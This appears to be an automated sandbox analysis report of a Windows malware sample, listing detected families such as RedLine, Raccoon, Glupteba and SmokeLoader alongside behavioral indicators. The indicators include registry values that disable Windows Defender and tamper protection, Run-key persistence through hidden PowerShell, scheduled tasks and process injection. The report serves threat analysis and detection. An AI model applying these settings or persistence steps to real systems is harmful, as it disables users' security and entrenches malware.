Analysis Overview
SHA256
bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4
Threat Level: Known bad
The file bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4 was found to be: Known bad.
Malicious Activity Summary
Raccoon
Suspicious use of NtCreateUserProcessOtherParentProcess
Raccoon Stealer payload
RedLine
Glupteba
DcRat
Amadey
Modifies Windows Defender Real-time Protection settings
SmokeLoader
RedLine payload
Glupteba payload
Downloads MZ/PE file
Stops running service(s)
Drops file in Drivers directory
Modifies Windows Firewall
Windows security modification
Loads dropped DLL
Executes dropped EXE
Checks computer location settings
Checks BIOS information in registry
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
Adds Run key to start application
Suspicious use of SetThreadContext
Drops file in System32 directory
Checks for VirtualBox DLLs, possible anti-VM trick
Drops file in Windows directory
Launches sc.exe
Drops file in Program Files directory
Program crash
Unsigned PE
Enumerates physical storage devices
Enumerates system info in registry
Suspicious behavior: GetForegroundWindowSpam
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of UnmapMainImage
Checks SCSI registry key(s)
Creates scheduled task(s)
Modifies data under HKEY_USERS
Suspicious use of AdjustPrivilegeToken
Uses Task Scheduler COM API
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Suspicious behavior: MapViewOfSection
Suspicious use of SendNotifyMessage
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-10-26 07:14
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2023-10-26 07:14
Reported
2023-10-26 07:17
Platform
win10v2004-20231023-en
Max time kernel
119s
Max time network
161s
Command Line
Signatures
Amadey
DcRat
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Glupteba
Glupteba payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Modifies Windows Defender Real-time Protection settings
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" | C:\Users\Admin\AppData\Local\Temp\4545.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\4545.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\4545.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" | C:\Users\Admin\AppData\Local\Temp\4545.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" | C:\Users\Admin\AppData\Local\Temp\4545.exe | N/A |
Raccoon
Raccoon Stealer payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
SmokeLoader
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 3020 created 3320 | N/A | C:\Windows\SYSTEM32\schtasks.exe | C:\Windows\Explorer.EXE |
| PID 3020 created 3320 | N/A | C:\Windows\SYSTEM32\schtasks.exe | C:\Windows\Explorer.EXE |
| PID 3020 created 3320 | N/A | C:\Windows\SYSTEM32\schtasks.exe | C:\Windows\Explorer.EXE |
| PID 3020 created 3320 | N/A | C:\Windows\SYSTEM32\schtasks.exe | C:\Windows\Explorer.EXE |
| PID 3020 created 3320 | N/A | C:\Windows\SYSTEM32\schtasks.exe | C:\Windows\Explorer.EXE |
Downloads MZ/PE file
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\System32\drivers\etc\hosts | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Modifies Windows Firewall
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Stops running service(s)
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5RR0Jt9.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\BEAF.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe | N/A |
Executes dropped EXE
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\4A78.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\4A78.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\C2E7.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\C2E7.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | N/A | N/A |
Windows security modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" | C:\Users\Admin\AppData\Local\Temp\4545.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\C18E.exe'\"" | C:\Users\Admin\AppData\Local\Temp\C18E.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\40DC.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yB8RE0ZD.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\SZ6Uv0Ql.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\ee9qf2gz.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jo0qJ2CP.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Windows\system32\GroupPolicy\gpt.ini | C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4796 set thread context of 3468 | N/A | C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe |
| PID 5040 set thread context of 4464 | N/A | C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe |
| PID 3656 set thread context of 564 | N/A | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe |
| PID 4704 set thread context of 828 | N/A | C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1nB52wS1.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe |
| PID 220 set thread context of 5860 | N/A | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe |
| PID 5712 set thread context of 1108 | N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Checks for VirtualBox DLLs, possible anti-VM trick
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File created | C:\Program Files (x86)\Drive Tools\is-6VBEE.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-7AL62.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-HUI1A.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-3H2O8.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-BEHVH.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-S5FIQ.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-0D7CV.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\unins000.dat | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-3V80J.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File opened for modification | C:\Program Files (x86)\Drive Tools\unins000.dat | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File opened for modification | C:\Program Files (x86)\Drive Tools\zDriveTools.exe | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files\Google\Chrome\updater.exe | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-ENDLG.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-77MMS.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-JNQFC.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-LPEMU.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-0Q3AG.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-77MF5.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-DS177.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-6QFNO.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-I5EUQ.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\Lang\is-CDNMV.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-RJSU5.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-QOA4P.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
| File created | C:\Program Files (x86)\Drive Tools\is-E1F1I.tmp | C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Wanugegulaho milorahaxah mosuraxupib rusekutokefod bopujune | C:\Users\Admin\AppData\Local\Temp\4A78.exe | N/A |
| File created | C:\Windows\Tasks\bwpFiyeZPJPVdaMxTt.job | C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe | N/A |
| File opened for modification | C:\Windows\rss | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| File created | C:\Windows\rss\csrss.exe | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
Enumerates physical storage devices
Program crash
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
